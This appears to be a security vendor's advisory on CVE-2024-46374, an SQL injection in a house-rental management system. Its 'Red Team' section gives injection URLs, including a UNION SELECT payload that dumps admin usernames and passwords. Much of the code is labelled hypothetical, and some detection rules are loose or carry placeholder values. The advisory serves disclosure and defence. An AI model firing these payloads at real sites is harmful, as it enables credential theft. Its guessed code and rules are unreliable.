CVE-2024-46374

Executive Summary

CVE-2024-46374 identifies a critical SQL injection vulnerability in Best House Rental Management System version 1.0. The flaw resides in the delete_category() function within the rental/admin_class.php file. An unauthenticated attacker can exploit this vulnerability to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion of the database. The vulnerability is publicly known, and proof-of-concept details are available, increasing the risk of exploitation. No official patch has been released by the vendor.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the nature of the vulnerability (SQL injection in an admin function), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The vulnerable function may be accessible without authentication.
• User Interaction (UI): None (N) – No user action is needed.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the delete_category() function. The application likely constructs a SQL query by directly concatenating user-supplied input (likely a category ID from a GET or POST parameter) without proper sanitization or parameterization.

Vulnerable Code Path (Hypothetical):

function delete_category($id) {
    $sql = "DELETE FROM categories WHERE id = " . $id;
    $result = mysqli_query($conn, $sql);
    // ...
}

An attacker can manipulate the id parameter to break out of the intended query and execute arbitrary SQL. For example, submitting 1 OR 1=1 would delete all categories, while 1 UNION SELECT ... could extract data from other tables.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical):

function delete_category($id) {
    $sql = "DELETE FROM categories WHERE id = " . $id;
    $result = mysqli_query($conn, $sql);
}

Patched Code (Recommended):

function delete_category($id) {
    $stmt = $conn->prepare("DELETE FROM categories WHERE id = ?");
    $stmt->bind_param("i", $id);
    $stmt->execute();
}

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Best House Rental Management System 1.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via a web browser.

Exploitation Steps:

1. Identify the vulnerable endpoint. The delete_category() function is likely called via a URL like:

   http://target/rental/admin_class.php?action=delete_category&id=1
   

2. Test for SQL injection by injecting a single quote (') into the id parameter:

   http://target/rental/admin_class.php?action=delete_category&id=1'
   

   If an error is returned, the application is vulnerable.
3. Use a UNION-based injection to extract data. For example:

   http://target/rental/admin_class.php?action=delete_category&id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100--
   

   Adjust the number of columns to match the target table.
4. Extract database credentials or other sensitive data using group_concat():

   http://target/rental/admin_class.php?action=delete_category&id=1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 FROM admin_users--
   

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual SQL keywords in request parameters (e.g., UNION, SELECT, OR 1=1).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Use database activity monitoring to detect anomalous queries.

Mitigation:

• Immediately apply input validation and parameterized queries.
• Restrict database user permissions to the minimum required.
• Implement a Content Security Policy (CSP) and other security headers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing SQL injection patterns in the id parameter of /rental/admin_class.php.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Host IOCs:
  • Unexpected database entries or deletions.
  • New user accounts or modified data in the admin_users table.
• File IOCs:
  • Modified rental/admin_class.php file (if attacker uploads a web shell).
  • Presence of suspicious files in the web root (e.g., cmd.php, shell.php).

Detection Engineering

YARA Rule

rule Detect_SQLi_CVE_2024_46374 {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-46374"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-46374"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "DELETE FROM" nocase
        $sqli4 = "admin_class.php" nocase
    condition:
        any of ($sqli*) and $sqli4
}

Sigma Rule

title: SQL Injection Attempt Against Best House Rental Management System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection patterns in requests to rental/admin_class.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'UNION SELECT'
            - 'OR 1=1'
            - 'DELETE FROM'
            - 'admin_class.php'
    condition: selection
falsepositives:
    - Legitimate use of similar strings in non-malicious contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46374 SQL Injection Attempt"; flow:to_server,established; content:"admin_class.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|OR\s+1=1|DELETE\s+FROM)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable delete_category() function if not essential.
   • Apply input validation and use prepared statements for all database queries.
   • Update to the latest version of the software if a patch becomes available.

2. Long-term Measures:

   • Conduct a full security audit of the application.
   • Implement a Web Application Firewall (WAF) with SQL injection protection.
   • Enforce least privilege for database accounts.
   • Regularly update and patch all software components.

3. Detection & Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Monitor logs for suspicious activity and set up alerts.

Valters IT
Securing Digital Frontiers